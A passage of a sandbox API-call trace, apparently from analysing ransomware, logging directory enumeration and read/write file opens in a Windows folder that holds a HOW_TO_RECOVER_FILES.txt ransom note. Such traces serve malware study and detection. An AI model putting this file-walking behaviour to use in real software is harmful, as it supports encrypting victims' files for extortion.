ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0135.738] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0135.738] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0135.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0135.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0135.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0135.738] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpFilePart=0x0) returned 0x55 [0135.738] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x36f7b256, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x36f7b256, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0135.739] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x36f7b256, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x36f7b256, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.739] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0135.739] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0135.739] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36f7b256, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x36f7b256, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x36f7b256, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0135.739] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0135.739] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0135.740] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0135.740] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0135.740] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0135.740] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0135.740] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0135.740] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0135.740] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0135.741] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0135.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0135.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0135.741] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", lpFilePart=0x0) returned 0x60 [0135.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0135.741] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), fInfoLevelId=0x0, lpFileInformation=0x39642f0 | out: lpFileInformation=0x39642f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3)) returned 1 [0135.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0135.742] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", lpFilePart=0x0) returned 0x60 [0135.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0135.742] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0135.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0135.746] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", lpFilePart=0x0) returned 0x60 [0135.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0135.746] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), fInfoLevelId=0x0, lpFileInformation=0x3965e10 | out: lpFileInformation=0x3965e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee)) returned 1 [0135.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0135.746] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", lpFilePart=0x0) returned 0x60 [0135.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0135.746] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0135.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0135.748] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", lpFilePart=0x0) returned 0x62 [0135.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0135.749] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), fInfoLevelId=0x0, lpFileInformation=0x3966648 | out: lpFileInformation=0x3966648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668)) returned 1 [0135.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0135.749] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", lpFilePart=0x0) returned 0x62 [0135.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0135.749] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0135.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0135.751] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x62 [0135.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0135.751] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), fInfoLevelId=0x0, lpFileInformation=0x3966e90 | out: lpFileInformation=0x3966e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536)) returned 1 [0135.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0135.751] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x10f94b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x62 [0135.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f99d0) returned 1 [0135.751] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0135.751] GetFileType (hFile=0x63c) returned 0x1 [0135.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9940) returned 1 [0135.751] GetFileType (hFile=0x63c) returned 0x1 [0135.752] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x10f9b78 | out: lpFileSizeHigh=0x10f9b78*=0x0) returned 0x536 [0135.752] ReadFile (in: hFile=0x63c, lpBuffer=0x39676e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9aa8, lpOverlapped=0x0 | out: lpBuffer=0x39676e0*, lpNumberOfBytesRead=0x10f9aa8*=0x536, lpOverlapped=0x0) returned 1 [0135.752] CloseHandle (hObject=0x63c) returned 1 [0136.413] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x10f94b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x62 [0136.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f99d0) returned 1 [0136.413] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f63c0) returned 1 [0136.416] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", lpFilePart=0x0) returned 0x63 [0136.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.416] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), fInfoLevelId=0x0, lpFileInformation=0x38e8340 | out: lpFileInformation=0x38e8340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9)) returned 1 [0136.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.416] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", lpFilePart=0x0) returned 0x63 [0136.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.416] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.419] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", lpFilePart=0x0) returned 0x62 [0136.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.419] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), fInfoLevelId=0x0, lpFileInformation=0x38e8b88 | out: lpFileInformation=0x38e8b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850)) returned 1 [0136.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0136.419] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", lpFilePart=0x0) returned 0x62 [0136.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0136.419] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0136.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0136.421] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", lpFilePart=0x0) returned 0x5e [0136.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0136.421] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), fInfoLevelId=0x0, lpFileInformation=0x38e93d0 | out: lpFileInformation=0x38e93d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, 